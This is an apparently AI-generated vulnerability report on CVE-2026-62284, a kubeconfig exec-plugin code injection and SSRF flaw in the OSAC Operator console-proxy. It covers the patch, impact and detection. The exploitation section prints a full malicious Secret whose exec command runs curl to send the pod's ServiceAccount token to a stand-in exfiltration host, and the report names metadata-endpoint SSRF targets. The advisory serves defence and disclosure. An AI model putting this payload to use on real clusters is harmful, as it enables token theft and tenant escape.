CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-62284

CVE-2026-62284: Remote Code Execution and SSRF via Unsanitized Kubeconfig in OSAC Operator

Amit Schendel
Amit Schendel
Senior Security Researcher

Nov 7, 2026·8 min read·3 visits

Executive Summary (TL;DR)

The OSAC Operator console-proxy fails to strip ExecProvider and AuthProvider configurations when parsing kubeconfig files from Kubernetes Secrets. Attackers with Secret write privileges in monitored namespaces can execute arbitrary commands as the proxy service account and induce SSRF by modifying the target cluster server URL.

CVE-2026-62284 (GHSA-5w5g-j6hw-6p8f) is a code injection and server-side request forgery vulnerability in the console-proxy component of the OSAC Operator. The RemoteConfigResolver parses Kubernetes Secrets containing kubeconfig files via clientcmd.RESTConfigFromKubeConfig without sanitizing execution-related fields. An attacker with RBAC permissions to create or modify labeled Secrets in monitored namespaces can supply a malicious exec credential plugin, resulting in arbitrary command execution within the console-proxy pod.

Vulnerability Overview

The OSAC Operator (osac-operator) is a Kubernetes and OpenShift operator designed to manage and proxy connections to virtual machine clusters. Within its architecture, the console-proxy component handles WebSocket and console sessions directed at virtual machines running across local or remote clusters. To establish connections to remote environments, the proxy relies on the RemoteConfigResolver module located in internal/consoleproxy/config_resolver.go.

In its default auto mode and in remote mode, RemoteConfigResolver dynamically loads cluster connection credentials from Kubernetes Secrets. Specifically, it queries namespaces where its RoleBinding grants Secret read access for objects bearing the label osac.openshift.io/remote-cluster-kubeconfig: "true". This mechanism exposes a parsing boundary where data stored in Kubernetes API objects is ingested and converted into runtime client configurations.

CVE-2026-62284 combines two distinct weaknesses: Improper Control of Generation of Code (CWE-94) and Server-Side Request Forgery (CWE-918). Because the resolver passes raw kubeconfig YAML from the Secret directly into the Kubernetes client-go library without sanitizing the resulting configuration structure, an attacker with privileges to create or modify Secrets in a monitored namespace can inject executable authentication directives.

When the proxy subsequently initializes an HTTP transport to forward a console WebSocket connection, the underlying client-go library automatically executes the attacker-specified binary inside the console-proxy container. In addition to command execution, the resolver accepts arbitrary target URLs in the kubeconfig server definition, allowing the same attacker to redirect proxy traffic to internal cluster networks or cloud metadata services.

Root Cause Analysis

The root cause of CVE-2026-62284 lies in the implicit trust placed in clientcmd.RESTConfigFromKubeConfig when parsing untrusted or semi-trusted kubeconfig payloads. The Kubernetes kubeconfig specification is not strictly a passive data format; it includes extensible authentication mechanisms designed for CLI environments where a local binary must be invoked to fetch ephemeral tokens from cloud providers.

Specifically, a kubeconfig file supports the users[].user.exec stanza (which maps to rest.Config.ExecProvider in Go) and the users[].user.auth-provider stanza (which maps to rest.Config.AuthProvider). When clientcmd.RESTConfigFromKubeConfig(secretData) is called inside RemoteConfigResolver.ResolveConfig, it deserializes the YAML byte slice directly into a *rest.Config struct, preserving any ExecProvider or AuthProvider definitions present in the input.

Later in the connection lifecycle, the console-proxy invokes rest.TransportFor(config) to construct the HTTP RoundTripper required for upstream WebSocket communication. During transport initialization, client-go inspects the rest.Config object. Upon finding a non-nil ExecProvider, client-go registers an authenticator that spawns the external command defined in ExecProvider.Command using the arguments in ExecProvider.Args via Go's os/exec package.

Because no validation step cleared these fields between deserialization and transport construction, the application crosses a privilege boundary. An authorization to write a configuration Secret in a namespace is escalated into arbitrary operating system command execution within the operator's proxy pod.

Code Analysis & Patch Inspection

In vulnerable revisions prior to commit 7e4222b6ab465fc00606c8cfed980b226820cb1b, RemoteConfigResolver.ResolveConfig extracted the raw bytes from the Secret and returned the parsed *rest.Config immediately after error checking. The patch, introduced in Pull Request #321 via commit 86466378aa3603253dca7fa2f59a2733af0dc092, explicitly zeroes out the execution-capable fields on the configuration struct before returning it to the caller.

// File: internal/consoleproxy/config_resolver.go
func (r *RemoteConfigResolver) ResolveConfig(ctx context.Context, namespace string) (*rest.Config, string, error) {
    // ... [Secret retrieval logic omitted] ...
 
    config, err := clientcmd.RESTConfigFromKubeConfig(secretData)
    if err != nil {
        return nil, "", fmt.Errorf("parsing kubeconfig from secret %q in namespace %q: %w", secret.Name, namespace, err)
    }
 
    // PATCH: Explicitly strip external execution and plugin providers.
    // Only static tokens, client certificates, and basic auth remain active.
    config.ExecProvider = nil
    config.AuthProvider = nil
 
    r.logger.InfoContext(ctx, "Resolved VM cluster config from remote kubeconfig secret",
        slog.String("secret", secret.Name),
        slog.String("namespace", namespace),
    )
    return config, secret.Name, nil
}

By setting both config.ExecProvider and config.AuthProvider to nil immediately after clientcmd.RESTConfigFromKubeConfig completes, the fix ensures that subsequent calls to rest.TransportFor only utilize in-memory authentication credentials such as bearer tokens, client certificates (TLSClientConfig), or HTTP basic authentication.

> [!WARNING] > Fix Completeness Assessment: While commit 7e4222b6ab465fc00606c8cfed980b226820cb1b neutralizes the CWE-94 command execution vector, it does not remediate the CWE-918 Server-Side Request Forgery (SSRF) vector or potential local file inclusion risks.

First, the config.Host field—populated from clusters[].cluster.server in the kubeconfig—remains unvalidated. An attacker can still point the proxy at loopback addresses (https://127.0.0.1:6443), internal cluster services, or link-local cloud metadata endpoints (http://169.254.169.254). Second, clientcmd.RESTConfigFromKubeConfig populates file path fields such as TLSClientConfig.CAFile, CertFile, and KeyFile as well as BearerTokenFile. If an attacker supplies file paths instead of inline base64 data (certificate-authority-data), rest.TransportFor will read those files from the proxy pod's filesystem, allowing attackers to probe file existence or potentially use pod-local files as client credentials.

Exploitation Methodology

Exploiting CVE-2026-62284 requires two prerequisites. First, the osac-console-proxy must be deployed in either auto mode (the default configuration) or remote mode; deployments configured strictly in local mode bypass RemoteConfigResolver and use in-cluster configuration exclusively. Second, the attacker must possess Kubernetes RBAC permissions (create, update, or patch) for Secret resources within a namespace where the proxy's RoleBinding permits reading Secrets.

To trigger remote code execution, the attacker creates or modifies a Secret in the target namespace and applies the label osac.openshift.io/remote-cluster-kubeconfig: "true". Inside the Secret's kubeconfig data field, the attacker defines a user entry utilizing the client.authentication.k8s.io/v1 exec plugin API.

apiVersion: v1
kind: Secret
metadata:
  name: malicious-remote-kubeconfig
  namespace: target-vm-namespace
  labels:
    osac.openshift.io/remote-cluster-kubeconfig: "true"
type: Opaque
stringData:
  kubeconfig: |
    apiVersion: v1
    kind: Config
    clusters:
    - cluster:
        server: https://127.0.0.1:6443
      name: remote
    contexts:
    - context:
        cluster: remote
        user: malicious-exec-user
      name: remote
    current-context: remote
    users:
    - name: malicious-exec-user
      user:
        exec:
          apiVersion: client.authentication.k8s.io/v1
          command: /bin/sh
          args:
          - -c
          - "curl -s -d @/var/run/secrets/kubernetes.io/serviceaccount/token http://192.0.2.10/exfil"
          interactiveMode: Never

Once the Secret is persisted to etcd, the attacker initiates a console connection request targeting the namespace, or waits for an automated reconciliation/proxy event that invokes ResolveConfig for that namespace. When the proxy builds the HTTP transport to connect to clusters[0].cluster.server, client-go executes /bin/sh -c with the provided argument string.

The payload executes before any network handshake with the upstream server completes. Consequently, the clusters[].cluster.server address does not need to host a valid Kubernetes API server for the command execution payload to succeed.

Impact Assessment

Successful exploitation of the CWE-94 vector grants the attacker arbitrary command execution inside the osac-console-proxy container under the context of the container's runtime OS user. This provides immediate access to the container filesystem, environment variables, and active memory space of the proxy process (potentially exposing connections or credentials for other tenants' clusters handled by the same proxy instance).

Crucially, the spawned process can read the Kubernetes ServiceAccount token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token. With the osac-console-proxy ServiceAccount token, the attacker inherits the RBAC privileges assigned to the proxy itself. Because the proxy is designed to read kubeconfig Secrets across multiple namespaces to facilitate VM console routing, compromising its ServiceAccount allows lateral movement across namespace boundaries.

The vulnerability is scored at CVSS v4.0 8.6 (High) with the vector CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N. The High Privileges Required (PR:H) metric reflects the necessity of having Kubernetes RBAC permissions to write Secrets in a monitored namespace. However, in multi-tenant OpenShift or Kubernetes clusters where namespace administrators are granted Secret management rights within their isolated namespaces, this flaw serves as a privilege escalation and tenant-escape mechanism.

As of November 2026, the EPSS score for CVE-2026-62284 is 0.00505 (0.51%, 43.35th percentile), and it is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The relatively low probability of mass automated exploitation aligns with the requirement for authenticated cluster access prior to exploitation.

Remediation & Detection

To remediate the command execution vulnerability, operators must upgrade osac-operator to commit 7e4222b6ab465fc00606c8cfed980b226820cb1b or a subsequent release containing the fix from Pull Request #321. This update ensures ExecProvider and AuthProvider structs are stripped during Secret parsing.

If an immediate upgrade is not feasible, administrators can mitigate the vulnerability by reconfiguring the console-proxy to run in local mode (--cluster-mode=local or the equivalent operator configuration). In local mode, the proxy relies strictly on the in-cluster configuration and disables RemoteConfigResolver, preventing any Secret-based kubeconfig parsing. Note that this workaround is only viable if remote VM cluster proxying is not required by the deployment.

To address the residual SSRF risk and harden the environment, administrators should enforce strict RBAC policies and audit existing Secrets. Use the following command to scan all cluster namespaces for labeled Secrets containing exec: or auth-provider: directives:

kubectl get secrets --all-namespaces \
  -l osac.openshift.io/remote-cluster-kubeconfig=true -o json | \
  jq -r '.items[] | select(.data.kubeconfig != null) | 
  {namespace: .metadata.namespace, name: .metadata.name, kubeconfig: (.data.kubeconfig | @base64d)} |
  select(.kubeconfig | test("exec:|auth-provider:"))'

Additionally, organizations running runtime security monitors such as Falco or Tetragon should deploy behavioral rules to detect child process execution (execve system calls) originating from the console-proxy binary, as normal proxy operation only requires network socket I/O and should never fork shell or external binary subprocesses.

Official Patches

osac-projectPull Request #321: Harden kubeconfig parsing in console-proxy config resolver
osac-projectMain branch merge commit fixing ExecProvider and AuthProvider injection

Fix Analysis (2)

Technical Appendix

CVSS Score
8.6/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS Probability
0.51%
Top 57% most exploited

Affected Systems

osac-operator (OpenShift Assisted Cluster / OSAC Operator)osac-console-proxy component running in auto or remote cluster mode

Affected Versions Detail

Product
Affected Versions
Fixed Version
osac-operator
osac-project
< 7e4222b6ab465fc00606c8cfed980b226820cb1b (including 8220502, v0.0.1, v0.0.2, api/v0.0.1 through api/v0.0.5)7e4222b6ab465fc00606c8cfed980b226820cb1b
AttributeDetail
CVE IDCVE-2026-62284 (GHSA-5w5g-j6hw-6p8f)
Primary CWECWE-94 (Code Injection) & CWE-918 (SSRF)
CVSS v4.0 Score8.6 High (CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)
EPSS Score0.51% (43.35th Percentile)
Attack VectorNetwork (Authenticated Kubernetes API Secret Creation/Modification)
ImpactRemote Code Execution as console-proxy ServiceAccount & Unpatched SSRF
Affected Componentinternal/consoleproxy/config_resolver.go (RemoteConfigResolver)
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1203Exploitation for Client Execution
Execution
T1190Exploit Public-Facing Application
Initial Access
T1005Data from Local System
Collection
CWE-94
Improper Control of Generation of Code ('Code Injection')

The software constructs all or part of a code segment using externally-influenced input from an upstream component, but does not neutralize or incorrectly neutralizes that input before interpreting or running it.

Known Exploits & Detection

GitHub Security Advisory & Patch Test SuiteAdvisory and associated commit unit tests demonstrate crafting a Secret with users[].user.exec to trigger command execution during config resolution and transport initialization.

Vulnerability Timeline

Fix commit 86466378aa3603253dca7fa2f59a2733af0dc092 authored and merged via PR #321 (commit 7e4222b6ab465fc00606c8cfed980b226820cb1b)
2026-06-25
GitHub Security Advisory GHSA-5w5g-j6hw-6p8f and CVE-2026-62284 published
2026-10-30
OSV and NVD records updated with commit range mappings
2026-11-04
CISA KEV status verified as not listed; EPSS recorded at 0.51%
2026-11-06

References & Sources

  • [1]GitHub Security Advisory GHSA-5w5g-j6hw-6p8f
  • [2]OSAC Operator Pull Request #321
  • [3]Merge Commit 7e4222b6ab465fc00606c8cfed980b226820cb1b
  • [4]Fix Commit 86466378aa3603253dca7fa2f59a2733af0dc092
  • [5]NVD Detail for CVE-2026-62284
  • [6]CVE.org Record for CVE-2026-62284
  • [7]CVEListV5 JSON Record for CVE-2026-62284
  • [8]CISA Known Exploited Vulnerabilities Catalog
  • [9]MITRE ATT&CK Search

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•3 minutes ago•CVE-2026-16454
4.3

CVE-2026-16454: Object-Level Authorization Bypass in Eclipse hawkBit Direct Device Integration Controller

CVE-2026-16454 is an object-level authorization bypass vulnerability (CWE-284, CWE-862) in Eclipse hawkBit versions 1.0.3 and prior. The flaw exists within the Direct Device Integration (DDI) REST controller (hawkbit-ddi-resource), where endpoints responsible for enumerating software module metadata and serving firmware binaries fail to verify whether the requested software module is assigned to the authenticated device. Consequently, any device with valid credentials (such as a TargetToken or GatewayToken) can enumerate software module identifiers and download arbitrary firmware artifacts across the entire tenant namespace.

Amit Schendel
Amit Schendel
0 views•9 min read
•about 2 hours ago•CVE-2026-62361
5.5

CVE-2026-62361: Authenticated SQL Injection and Table Access Control Bypass in Listmonk Subscriber Export

CVE-2026-62361 (GHSA-xgjr-7j9q-2h4r) is an authenticated SQL injection and authorization bypass vulnerability in listmonk, an open-source, self-hosted newsletter and mailing list manager written in Go. In versions prior to 6.2.0, the subscriber export endpoint (GET /api/subscribers/export) directly interpolates user-supplied SQL filter expressions into a PostgreSQL query without invoking the table allowlist validation function (validateQueryTables). Consequently, authenticated users possessing the subscribers:sql_query and subscribers:get_all permissions can bypass relational access controls, execute arbitrary subqueries against restricted tables such as users and settings, and modify database state via writable Common Table Expressions (CTEs).

Alon Barad
Alon Barad
4 views•11 min read
•about 3 hours ago•CVE-2026-28385
5.0

CVE-2026-28385: Server-Side Request Forgery in Canonical LXD Image Import

CVE-2026-28385 (GHSA-3gq2-x4qg-p4g6) is a Server-Side Request Forgery (SSRF) vulnerability in Canonical LXD versions 4.12 through 6.9. An authenticated user possessing the can_create_images entitlement can force the LXD daemon to execute arbitrary outbound HTTP and HTTPS requests via the /1.0/images API endpoint. Due to the absence of egress destination validation, an attacker can probe host loopback services, RFC 1918 private network segments, and cloud Instance Metadata Services (IMDS) from the network position of the privileged LXD daemon.

Amit Schendel
Amit Schendel
7 views•9 min read
•about 4 hours ago•GHSA-9J25-MM2H-2F76
9.9

CVE-2026-48750: Arbitrary File Write on Host via exec-output Symlink in Canonical LXD and Incus

Canonical LXD and LXC Incus contain an arbitrary file write vulnerability (CWE-73 / CWE-59) in the `/1.0/instances/<name>/exec` REST API endpoint. When an instance is unpacked from an image archive, top-level symbolic links are extracted directly onto the host filesystem within the instance storage directory. If a crafted image includes a symbolic link named `exec-output` pointing to an arbitrary host path, invoking the execution endpoint with `record-output: true` causes the privileged host daemon to follow the symlink and write command output files directly to the target host directory. An authenticated attacker with permissions to import images and execute commands can exploit this flaw to write controlled content to sensitive host directories such as `/etc/cron.d`, resulting in arbitrary code execution on the host as `root`.

Alon Barad
Alon Barad
6 views•12 min read
•about 5 hours ago•GHSA-VGHH-5RFX-XHQ8
9.9

CVE-2026-48749: Arbitrary Host File Read and Write via Malicious Image Symlink in Canonical LXD and Incus

CVE-2026-48749 (tracked as GHSA-vghh-5rfx-xhq8 for LXD and GHSA-2q3f-q5pq-g8wv for Incus) is a critical container escape vulnerability in the Canonical LXD and Linux Containers Incus system container managers. By importing a specially crafted container image archive containing duplicate tar member headers, an authenticated attacker can replace the instance rootfs directory with a symbolic link pointing to the underlying host root filesystem. When performing file operations on a stopped container, the privileged forkfile helper binary resolves the symbolic link without confinement and chroots directly into the host filesystem, granting arbitrary root-level file read and write access.

Amit Schendel
Amit Schendel
5 views•9 min read
•about 6 hours ago•GHSA-FMC8-P6Q7-75CC
9.9

GHSA-fmc8-p6q7-75cc: Argument Injection in Canonical LXD Backup Compression Leads to Host Root Code Execution

GHSA-fmc8-p6q7-75cc (associated with CVE-2026-48755) is a critical argument injection vulnerability in Canonical LXD (github.com/canonical/lxd). The vulnerability occurs during instance and storage volume backup operations when processing the user-supplied compression_algorithm configuration parameter. While LXD validates the primary executable token against an allowlist of supported compression binaries, it fails to sanitize or restrict subsequent tokens parsed via shellquote.Split. These additional arguments are passed directly to exec.Command. An authenticated attacker with privileges to trigger backups can inject command-line flags for utilities like zstd to read staged files from a container filesystem and write them to arbitrary paths on the underlying host filesystem, such as /etc/cron.d/, achieving root-level arbitrary code execution on the host.

Amit Schendel
Amit Schendel
6 views•10 min read